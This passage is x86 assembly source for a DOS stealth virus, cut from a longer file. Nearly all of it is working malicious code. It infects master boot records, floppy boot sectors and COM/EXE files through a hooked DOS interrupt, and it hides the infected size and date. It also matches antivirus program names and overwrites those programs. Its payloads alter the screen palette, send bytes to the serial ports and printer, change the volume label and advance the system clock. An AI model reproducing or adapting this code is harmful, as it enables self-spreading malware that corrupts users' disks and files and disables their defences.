mov si,offset generic_boot ; copy generic boot part
mov cx,(offset generic_boot_end - offset generic_boot)
rep movsb
mov si,offset mbr_part ; and mbr booting part
mov cx,(offset mbr_part_end - offset mbr_part)
rep movsb
mov di,(offset temp_memory + 100h)
mov si,offset virus_name
mov cl,5
rep movsb ; copy virus signature
mov ax,301h
mov cx,1
int 86h ; write new enhanched MBR :)
jc exit_mbrinfect
mov cx,3 ; virus on hd starts from 4
call oligo_write_fbhd
clc
exit_mbrinfect:
mov al,34h ; ami shadowing and boot pwd
out 70h,al
pop ax
out 71h,al ; restore previous status
mov al,0adh
out 70h,al
pop ax
out 71h,al ; restore this as well.
retn
infect_floppy:
push 00h
pop es
les bx,es:[1eh * 04h] ; point ES:BX to diskette param
mov ax,0a02h
mov dh,50h
xchg word ptr es:[bx+3],ax ; set bytes per sector to 512h
; and sector per track to 0ah
xchg byte ptr es:[bx+7],dh ; set gap lenght for format to
; 50h, that is the one for 5'25
push ax
push bx
push dx
push es
call seg_bx_tspace
mov ax,509h ; format 9 extra sector
mov bx,offset format_table ; to format address field buf
mov cx,5101h ; starting track
xor dh,dh
int 86h
jb somdown
mov ax,301h ; save original boot sector
mov bx,offset temp_memory
int 86h
jb somdown
mov word ptr ds:[bx],5eebh ; jmp short to offset
; 60h in boot
mov di,(offset temp_memory + 60h) ; at offset 60h in boot
mov si,offset generic_boot ; first generic boot
mov cx,(offset generic_boot_end - offset generic_boot)
rep movsb
mov si,offset floppy_part ; then floppy part
mov cx,(offset floppy_part_end - offset floppy_part)
rep movsb
mov di,(offset temp_memory + 100h) ; put virus name as
mov si,offset virus_name ; marker too in boot
mov cl,05h
rep movsb
mov ax,301h ; write new boot sector
mov cx,1
int 86h
jb somdown
mov cx,5101h ; where it will be placed
call oligo_write_fbhd
somdown:
pop es
pop dx
pop bx
pop ax
mov word ptr es:[bx+3],ax ; restore diskette parameters
mov byte ptr es:[bx+7],dh
ret
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
oligo_write_fbhd:
; this setups the registers for writing to hd or floppy in the write_to_disk
; routine and then calls the routine that creates the decryptor and encrypts
; the virus body. after that the virus is written starting from the wanted
; sector (this is CX in input to this routine) + 1
mov word ptr ds:[what_call],offset write_to_disk
mov word ptr ds:[value_cx],cx
mov word ptr ds:[value_dx],dx
mov dx,offset real_start
call oligo_algo
retn
; sets CS=DS=ES and points BX to temporary space after virus body
seg_bx_tspace:
push cs
pop es
push cs
pop ds
mov bx,offset temp_memory
retn
close_file:
mov ah,3eh ; close file
int 87h
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
chk_extsuch:
xor si,si
call get_sft
jc bad_fileis_np
cmp byte ptr es:[di+5],0
js bad_fileis_np
cmp byte ptr es:[di+10h],200d ; file date check
pushf
call check_ifclose ; is a close call?
jne check_dotcom
test byte ptr es:[di+2],3 ; on +2 open mode
je bad_fileis ; no 011b, dos internal
and byte ptr es:[di+2],0f8h
or byte ptr es:[di+2],2 ; make it read-write
check_dotcom:
cmp word ptr es:[di+28h],'OC' ; check if .COM
jne check_dotexe
cmp byte ptr es:[di+2ah],'M'
jne bad_fileis
inc si ; SI = 1 for coms
jmp short good_exitchk
nop
check_dotexe:
cmp word ptr es:[di+28h],'XE' ; check if .EXE
jne bad_fileis
cmp byte ptr es:[di+2ah],'E'
jne bad_fileis
inc si ; SI = 2 for exes
inc si
good_exitchk:
popf
retn
bad_fileis:
popf
bad_fileis_np:
stc
retn
dont_correct_after:
jmp back_inf_w24
pre_21h_exit:
db 0b8h ; mov ax,
func_21h dw 4b00h ; stored called int21h func
and ah,2
jnz dont_correct_after ; if function different than
pop di ; 3dh and 6ch then just
pop si ; restore int24h header and
pop dx ; exit, else sft size
pop cx ; stealth
pop bx
pop ax
pop ds
pop es
int 87h ; call original int21h
jc error_21hl
pushf
push bx
mov bx,ax
call check_nostealth ; if zip or backup running
jc no_stealth_1 ; don't stealth
push es
push di
call get_sft ; get file sft
or byte ptr es:[di+6],4 ; mark in SFT that size has
; already been stealthed using
; unused bit
call stlth_fsize_sft ; stealth file size in sft
pop di
pop es
no_stealth_1:
pop bx
popf
error_21hl:
call change_24h
jmp return_from_int
exit_r_stealth:
int 87h ; execute the original int 21h
pushf
push ax
exit_read_stealth:
pop ax
popf
pop si
pop di
pop es
jmp return_from_int
read_from_file:
push es
push di
push si
call chk_extsuch ; check if seems a file good to
jc exit_r_stealth ; infect by extension and such
or si,si
jz exit_r_stealth
call check_nostealth ; check if zip or backup running
jc exit_r_stealth
test byte ptr es:[di+6],4 ; has been size already stlthed
jnz already_sft ; before?
call stlth_fsize_sft ; if not stealth it
or byte ptr es:[di+6],4 ; and sign as stlthed in sft
already_sft:
les di,dword ptr es:[di+15h] ; current offset in file
mov word ptr cs:[ax_setvalue],di
int 87h ; execute the read
pushf
push ax
jc exit_read_stealth ; exit if read unsucesfull
cmp di,1ah ; if not reading the header then
jae exit_read_stealth ; np and we can exit
mov ax,es ; ES is high word of offset in
or ax,ax ; file. if <> 0 then it isn't
jnz exit_read_stealth ; on header for sure
jcxz exit_read_stealth ; if 0 bytes readed then exit
; as well
; if we are here then the header of an infected file is going to be readed, so
; we must restore the original bytes
mov ah,0dh ; disk reset
int 87h
call get_sft
push es
les ax,dword ptr es:[di+15h] ; current off in file
mov si,es
pop es
push ax ; save current offset on stack
push si
push bx
push es
les ax,dword ptr es:[di+11h] ; file size
mov si,es ; SI:AX has filesize
pop es
mov bx,ax
and ax,0fh ; calculate bytes been added
neg al ; to make (lenght MOD 10h = 0)
add al,10h
and al,0fh
add ax,bx
cmp ax,bx
jae n_adjust_lng
inc si ; if < then obviously it was a
; wrap around, so inc the higher
; word
n_adjust_lng:
pop bx
add word ptr es:[di+11h],virus_lenght
adc word ptr es:[di+13h],0 ; add to stealthed size so
push ds ; we can actually read the
push cx ; virus
push dx
push ax
push si
push cs
pop ds
mov cx,si
mov dx,ax
xor al,al ; move to virus start
call movefile
mov ah,3fh ; read first 72h bytes of
mov cx,72h ; virus, this is the decryptor
mov dx,offset temp_memory
int 87h
push bx
mov cx,5 ; decryption instruction is
; the fifth block in the
; decryptor
mov bl,0fdh
find_5_block:
add bl,5
add bl,[bx + (offset temp_memory - 1)] ; jump through
; block jumps
loop find_5_block
add bx,dx ; add base
mov ax,word ptr [bx]
not ax ; method is not-ted
and ah,0fch
mov word ptr ds:[enc_ins_b],ax ; decryption method
mov al,byte ptr ds:[bx+2]
mov byte ptr ds:[enc_val_b],al ; decryption value
pop bx
jmp short preffo
preffo:
xor al,al
pop cx
pop dx
add dx,offset original_file ; file pointer to
adc cx,0 ; stored file bytes
call movefile ; move there
mov ah,3fh ; read saved bytes from file
mov cx,1ah ; 1ah bytes
mov dx,offset original_file
int 87h
mov si,dx
mov cx,1ah
decrypt_original:
enc_ins_b db 80h,34h ; decrypt original bytes of
enc_val_b db 0c0h ; file
inc si
loop decrypt_original
pop dx
pop cx
pop ds
call stlth_fsize_sft ; stealth virus size in SFT
pop ax
mov es:[di+17h],ax ; restore current
pop ax ; offset in file
mov es:[di+15h],ax
push ds
push cx
db 0b8h
ax_setvalue dw 1400h ; saved offset in file user
; wanted to read from
mov di,dx
add di,ax
mov si,offset original_file
add si,ax
push ds
pop es
push cs
pop ds
mov ax,1ah ; how many bytes virus changed
sub ax,word ptr cs:[ax_setvalue] ; calculate how many
; we must stealth
cmp cx,ax ; cx has number of bytes readed
jb no_more_tr ; if readed < how many to stlth
mov cx,ax ; then proceed, else stealth all
no_more_tr: ; of them
cld
rep movsb ; copy needed amount of original
pop cx ; bytes there
pop ds
jmp exit_read_stealth
back_j_old21h:
jmp chain_old21h
jmp return_from_int
get_set_date:
push es
push si
push di
call chk_extsuch ; see if seems infectable
pop di
pop si
pop es
jc back_j_old21h
cmp al,1 ; just get/set file date func
ja back_j_old21h
jc isa_getdate
push dx
add dh,200d ; add the virus 200 years when
int 87h ; setting date
pop dx
jmp return_from_int
isa_getdate:
int 87h ; get date
pushf
sub dh,200d ; and sub the 200 years
popf
jmp return_from_int
ff_fn_stealth:
; this is called at 11h/12h and 4eh/4fh functions of int21h
call check_nostealth ; if zip or backup running
jc back_j_old21h ; then don't stealth
push es
push bx
clc
int 87h ; execute the call
jc exit_err_ff ; C if error (for 4e/4f)
or al,al ; AL <> 0 if error
jnz exit_err_ff ; (for 11h/12h)
push ax
mov ah,2fh ; get dta
int 87h
cmp byte ptr cs:[func_21h + 1],12h ; 21h fnct. 11h/12h?
pop ax
push si
jbe corr_off1112 ; correct the offsets
add bx,19h ; to size and date
mov si,bx ; depending on the
inc si ; function call
correct_dta:
cmp byte ptr es:[bx],200d ; check date if file
jb notinfected ; is infected
sub byte ptr es:[bx],200d ; sub years
sub word ptr es:[si],virus_lenght ; and virus size
sbb word ptr es:[si+2],0
notinfected:
pop si
xor al,al ; anyway make it succesfull
exit_err_ff:
pop bx ; restore and return back
pop es
jmp short return_from_int
nop
corr_off1112:
add bx,21h ; offset to years for 11h/12h
mov si,bx
add si,3 ; offset to file length
jmp short correct_dta
int21h_handler:
mov word ptr cs:[func_21h],ax
pushf
call check_payload
cmp ah,4eh ; findfirst dta
je ff_fn_stealth
cmp ah,4fh ; findnext dta
je ff_fn_stealth
cmp ah,11h ; findfirst fcb
je ff_fn_stealth
cmp ah,12h ; findnext fcb
je ff_fn_stealth
cmp ah,3fh ; read from file
je read_from_file_jj
cmp ah,57h ; get/set file date
je get_set_date_jj
cmp ah,4bh ; exec
je could_infect
cmp ah,3dh ; open file
je could_infect
cmp ah,6ch ; extended open file
je could_infect
cmp ah,43h ; get/set file attrib
je could_infect
cmp ah,3eh ; close file
je could_infect
chain_old21h:
popf
db 0eah ; jmp far ptr
old_int21h dw 40F8h, 19h
return_from_int:
inc sp
inc sp
retf 2
get_set_date_jj:
jmp get_set_date
read_from_file_jj:
jmp read_from_file
exit_wcch:
jmp bf_close_exit
could_infect:
push es
push ds
push ax
push bx
push cx
push dx
push si
push di
cmp ah,6ch ; extended open?
jne not_ext_open
and dl,2 ; open/replace if exist?
jz ok_extended ; if not continue
jmp back_inf
infect_file:
mov ax,3d00h ; open file
int 87h
jc not_opened_ext
call chk_extsuch ; check extension and if isn't
jnc exit_wcch ; already infected with years
call close_file
jmp back_inf_w24
not_opened_ext:
jmp back_inf_w24
ok_extended:
mov dx,si
not_ext_open:
push cs
pop es
push ds
xor si,si
mov ds,si ; to ivt
mov di,offset the_24h
mov si,24h*04h ; to int24h handler
cld
cli
movsw ; save int24h handler
movsw
mov word ptr [si-4],offset hnd_24h ; and set virus one
mov word ptr [si-2],cs ; to virus segment
sti
pop ds
cmp ah,3eh ; close?
mov ax,bx
jz not_windoze
mov word ptr cs:[fname_dx],dx
mov word ptr cs:[fname_ds],ds
mov ax,3d00h ; open the file in r/o
int 87h
jc not_opened_ext
mov bx,ax
call close_file
mov ax,4300h ; get attribs and save
int 87h
mov word ptr cs:[file_attrib],cx
mov ax,4301h
xor cx,cx ; delete attribs
int 87h
jc infect_file ; error here? retry from start
mov ax,3d02h ; open for rw
int 87h
cmp byte ptr cs:[func_21h + 1],4bh ; was executing?
jne not_windoze
mov bx,ax
call get_sft
cmp word ptr es:[di+20h],'IW' ; windows executing?
jne not_windoze
cmp word ptr es:[di+22h],' N'
jne not_windoze
push bp
mov bp,sp
mov ds,word ptr [bp+10h] ; on exec parameter block
mov si,word ptr [bp+0ah]
pop bp
lds si,dword ptr [si+2]
xor bx,bx
mov bl,byte ptr [si] ; lenght of cmdline
add byte ptr [si],5 ; correct lenght of cmdline
add si,bx
inc si ; after original cmdline
mov word ptr [si],'D/' ; so append /D:FC + cr
mov word ptr [si+2],'F:'
mov word ptr [si+4],0d43h
not_windoze:
push cs
pop ds
mov bx,ax ; file handle
mov word ptr ds:[file_handle],ax
call chk_extsuch
jnc bf_close_exit
or si,si
jz bad_file_xit
mov ax,5700h ; get file time/date
int 87h
mov word ptr ds:[file_time],cx ; save time/date
mov word ptr ds:[file_date],dx
call check_fname
mov ah,3fh ; read from file
mov cx,1ch
mov dx,offset original_file ; 1ch from file head
mov di,dx
int 87h
jc bad_file_xit
mov al,2 ; goto end of file
call move_cxdx0 ; gives in DX:AX length
mov cx,word ptr [di] ; first two bytes
cmp cx,'MZ' ; exe?
je is_an_exe
cmp cx,'ZM' ; exe?
je is_an_exe
cmp cx,'EL'
je bad_file_xit
cmp cx,'EN'
je bad_file_xit
or dx,dx ; > 64k is ok
jnz bad_file_xit
cmp ax,60000d ; not 60000 > 64k bad for coms
ja bad_file_xit
cmp ax,1eh ; not too small even
jb bad_file_xit
jmp com_infect_part
bad_file_xit:
jmp closef_exit
is_a_close2:
jmp back_inf_w24
bf_close_exit:
call check_ifclose
jz is_a_close2 ; close if needed and exit
call close_file
jmp pre_21h_exit
is_an_exe:
push ax
push dx
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
cmp word ptr [di+2],dx
pop dx
pop ax
jnz bad_file_xit
cmp word ptr [di+18h],40h ; probable PE or NE
jae bad_file_xit
cmp byte ptr [di+1Ah],0 ; overlay
jne bad_file_xit
push ax
push dx
mov si,word ptr [di+8] ; header paras
shl si,04h ; to bytes
sub ax,si ; DX:AX now image size
sbb dx,0
call align_file10h
push dx
push ax
push di
mov dx,offset real_start ; from where to encrypt
mov byte ptr cs:[com_or_exe],1
mov word ptr ds:[what_call],offset write_to_file
call oligo_algo
pop di
pop ax
pop dx
shr ax,4
shl dx,0ch
or dx,ax
xor ax,ax
mov word ptr ds:[di+14h],ax ; new cs:ip
mov word ptr ds:[di+16h],dx
adc ah,14h
adc al,dl
mov word ptr ds:[di+10h],ax ; new ss:sp
mov word ptr ds:[di+0eh],dx
pop dx
pop ax
add ax,virus_lenght
adc dx,0
mov cx,200h
div cx
inc ax
mov word ptr ds:[di+02h],dx ; new lenght in 200h pages
mov word ptr ds:[di+04h],ax ; and the modulus
call movetostart ; move to start of file
mov cx,1ah ; header lenght to rewrite
mov dx,di
jmp short writehead
nop
check_ifclose:
cmp byte ptr cs:[func_21h + 1],3eh ; was a close file?
retn
closef_exit:
call check_ifclose ; was a close function?
jz back_inf_w24 ; if so jump
call close_file ; else close the file and
call rest_attrib ; restore file attributes
jmp short back_inf_w24
nop
back_inf_w24:
call change_24h
back_inf:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop ds
pop es
jmp chain_old21h
com_infect_part:
mov byte ptr [com_or_exe],dl
call align_file10h
push ax
add ax,(offset real_start + 100h) ; encrypted from
mov dx,ax
mov word ptr ds:[what_call],offset write_to_file
call oligo_algo
call movetostart
pop cx
sub cx,3 ; - jmp lenght
mov si,offset temp_memory
mov dx,si
mov byte ptr [si],0e8h ; code the call to the virus
inc si
mov word ptr [si],cx
mov cx,3 ; three bytes to write
writehead:
mov ah,40h ; write
int 87h
jc closef_exit
mov ah,0dh ; disk reset
int 87h
add word ptr ds:[file_date + 1],200d ; add 200 years
; as marker
; seems buggy, but it works since the high byte is zero, anyway it should
; be add word ptr ds:[file_date],200d
; or add byte ptr ds:[file_date + 1],200d
call check_ifclose
jne not_close_func
call rest_time ; if close just
jmp pre_21h_exit ; restore time
not_close_func:
call close_file ; else close file
call close_wtime ; and restore time
call rest_attrib ; and attributes
jmp pre_21h_exit
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
rest_attrib:
lds dx,dword ptr cs:[fname_dx] ; ds:dx = filename
mov ax,4301h ; chmod
db 0b9h ; mov cx,
file_attrib dw 20h
int 87h
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
close_wtime:
lds dx,dword ptr cs:[fname_dx] ; ds:dx = filename
mov ax,3d00h ; open in readonly
int 87h
mov bx,ax
call rest_time ; restore time
call close_file ; and close again
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
rest_time:
mov ax,5701h ; set file date and time
db 0b9h ; mov cx,
file_time dw 1810h
db 0bah ; mov dx,
file_date dw 2397h
int 87h
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
align_file10h:
; on entry DX:AX lenght
; on exit DX:AX lenght aligned to 10h
mov cx,ax
and ax,0fh ; calculate bytes to make
neg ax ; the file aligned to 10h
add ax,10h
and ax,0fh
mov byte ptr cs:[value_cl],al ; store that value
add ax,cx
adc dx,0
push ax
mov ah,40h ; write the alignment
xor ch,ch ; bytes
mov cl,byte ptr cs:[value_cl]
int 87h
pop ax
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
movetostart:
xor al,al
move_cxdx0:
xor cx,cx
xor dx,dx
movefile:
mov ah,42h ; lseek function
int 87h
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
get_sft:
push bx
push ax
mov ax,1220h ; get jft entry
int 2Fh
jc error_sftjft
mov ax,1216h ; get sft entry
mov bl,es:[di]
int 2Fh
jc error_sftjft
clc
error_sftjft:
pop ax
pop bx
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
stlth_fsize_sft:
sub word ptr es:[di+11h],virus_lenght
sbb word ptr es:[di+13h],0
retn
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
change_24h:
push ds
push es
push di
push si
xor di,di
mov es,di ; to ivt zone
push cs
pop ds
mov si,offset the_24h
mov di,24h*04 ; to int24h table
cld
cli
movsw ; restore int24h handler
movsw
sti
pop si
pop di
pop es
pop ds
retn
hnd_24h:
mov al,3
stc
retf 2
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
check_fname:
cld
push di ; DI on SFT
add di,20h ; offset of filename in SFT
mov si,offset av_strings ; to strings with av and such
xor ch,ch
mov cl,byte ptr [si] ; get lenght of this string
inc si
push di
push cx
push si
repe cmpsb ; compare substring
pop si
pop cx
je found_string
add si,cx ; on next string
pop di
mov ah,4 ; get system date
int 1ah
mov dl,dh ; dl <- month in bcd
mov dh,cl ; dh <- year in bcd
cmp dx,9606h
jb exit_loops ; jump if < june 1996
xor ch,ch
loop_strings:
push di
mov cl,byte ptr [si] ; next string lenght
inc si
jcxz founded_l_0 ; all the AV strings done
push cx
push si
repe cmpsb ; compare substrings
pop si
pop cx
je found_string ; if equal then exit and notice
add si,cx
pop di
jmp short loop_strings ; loop through all substrings
founded_l_0:
pop di
cmp byte ptr ds:[payload_byte],0
je exit_loops
cmp byte ptr [si],0 ; continue to DOO, WOLF, QUA
jne loop_strings ; too or check if real end
exit_loops:
pop di
retn
found_string:
pop di
pop di
pop si
mov si,offset temp_memory
mov word ptr [si],20cdh ; int20h opcode
mov dx,si
mov ah,40h ; write to file
mov cx,2 ; write two bytes
int 87h
call close_file
call close_wtime
call rest_attrib
push cs
pop ds
cmp byte ptr ds:[func_21h + 1],4bh ; exec
jne not_execfnc
mov di,sp
mov word ptr ss:[di+0ah],4bffh ; if exec function then
; change AL to ffh
not_execfnc:
jmp back_inf_w24
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
check_nostealth:
; this checks if PKZIP or a backup tool (*BA*) are running. if so it will
; set carry and the virus will disable its stealth routines.
push ax
push bx
push si
push ds
mov ah,62h ; get psp
int 87h
dec bx
mov ds,bx ; ds = mcb
mov si,0ah ; program name + 02h
cmp word ptr [si],'IZ' ; pkZIp running?
je disable_it
cmp word ptr [si],'AB' ; msBAckup or such running?
je disable_it
stc
disable_it:
cmc
pop ds
pop si
pop bx
pop ax
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
check_payload:
push ds
pusha
push cs
pop ds
mov al,byte ptr ds:[payload_byte] ; check payload byte
or al,al ; if 0 then no activation
jne dododo ; else can be from 1 to 8
jmp fast_retu ; just go back
dododo:
xor bx,bx
xor cx,cx
dec al
jne al_bigger_1
cmp ah,3dh ; open file function
je payload_al_1
cmp ah,13h ; delete file function
je payload_al_1
jmp fast_retu ; else don't activate
payload_al_1:
mov ax,1010h ; set bx register to colors
mov dh,3fh ; in dh,ch,cl
int 10h
xor dh,dh ; set bx register to colors
int 10h ; in dh,ch,cl
jmp short fast_retu
nop
al_bigger_1:
dec al
jnz al_bigger_2
cmp ah,0eh ; select default drive function
jne fast_retu ; else don't activate
mov ax,101bh ; sum cx color values to gray
mov ch,1
int 10h
jmp short fast_retu
nop
al_bigger_2:
dec al
jnz al_bigger_3
cmp ah,3ah ; remove directory function
jne fast_retu ; else don't activate
mov ah,10h ; set single palette register
mov bx,bp
xor bx,si
mov bl,11h ; overscan color register
int 10h
jmp short fast_retu
nop
al_bigger_3:
dec al
jnz al_bigger_4
cmp ah,40h ; write to file function
jne fast_retu ; else don't activate
mov cl,2
mov dx,2f8h ; com2 adress
port_out_loop:
in al,dx
mov al,0c0h ; send this data byte on
out dx,al ; the first loop to com2
inc dh ; and on the second to com1
loop port_out_loop
al_bigger_4:
dec al
jnz al_bigger_5
cmp ah,5ah ; create temporary file
jne fast_retu ; else don't activate
mov cl,7 ; virus name lenght
mov si,offset virus_name ; point at it
print_vname:
mov ah,5 ; write char to printer
lodsb
mov dl,al ; char to print
int 87h ; print that
loop print_vname
al_bigger_5:
dec al
jnz al_bigger_6
mov ax,440dh ; ioctl request
mov cx,846h ; set volume and SN on hd
mov dx,offset vol_ser ; DS:DX DPB to virus new data
int 87h
al_bigger_6:
dec al
jnz fast_retu
mov ah,2 ; get system clock
int 1ah
mov ah,3
inc cl ; increment minutes by one
int 1ah ; set system clock
fast_retu:
popa
pop ds ; return from payload routines
ret
vol_ser:
db 00h
db 'GENOCIDEYouthEnergy'
; table for extra track formattation
format_table:
db 51h, 00h, 01h, 02h
db 51h, 00h, 02h, 02h
db 51h, 00h, 03h, 02h
db 51h, 00h, 04h, 02h
db 51h, 00h, 05h, 02h
db 51h, 00h, 06h, 02h
db 51h, 00h, 07h, 02h
db 51h, 00h, 08h, 02h
db 51h, 00h, 09h, 02h
av_strings:
db 04h,"CHKD"
db 02h,"F-"
db 03h,"VIR"
db 05h,"SCAN "
db 05h,"CLEAN"
db 04h,"VSHI"
db 04h,"ITAV"
db 04h,"SKUD"
db 04h,"AVIR"
db 04h,"MSAV"
db 04h,"CPAV"
db 04h,"VSAF"
db 04h,"VWAT"
db 03h,"NAV"
db 03h,"THS"
db 02h,"TB"
db 03h,"VI-"
db 03h,"FLU"
db 04h,"?ATP"
db 00h ; end of AV and such strings
db 03h,"DOO"
db 04h,"WOLF"
db 03h,"QUA"
db 00h ; two zeros as end of all
db 00h ; strings
; standard starting part for both floppy boot and mbr
generic_boot:
cli
xor ax,ax
mov ss,ax
mov sp,7c00h ; set SS:SP as usual
push ax
pop ds
push ds ; and make AX=DS=ES=0
pop es
sti
generic_boot_end:
; standard mbr part
mbr_part:
mov ax,208h ; read 8 virus sectors
mov bx,7e00h ; to 0:7e00h
mov cx,4 ; starting from
push cx
mov dx,80h
push dx ; store on stack for later
int 13h ; read sectors
db 0eah ; jump there
dw 0h,07e0h
mbr_part_end:
; standard floppy boot part
floppy_part:
mov ax,208h ; read 8 virus sectors
mov bx,7e00h ; to 0:7e00h
mov cx,5102h ; starting from
push cx
xor dx,dx
push dx ; store on stack for later
int 13h ; read sectors
infnty:
jb infnty
db 0eah ; jump there
dw 0h,07e0h
floppy_part_end:
; here are the 1ah bytes from the original file
original_file db 90h,90h,90h
db 90h
dw 5 dup (9090h)
original_ss dw 9090h
original_sp dw 9090h
dw 9090h
original_ip dw 9090h
original_cs dw 9090h
dw 9090h
temp_memory db 200h dup (?) ; temp space for infactions
check_by db 00h
fname_dx dw 00h
fname_ds dw 00h
payload_byte db 00h
the_24h dd 00h
what_call dw 00h
temp_memend:
seg_a ends
end start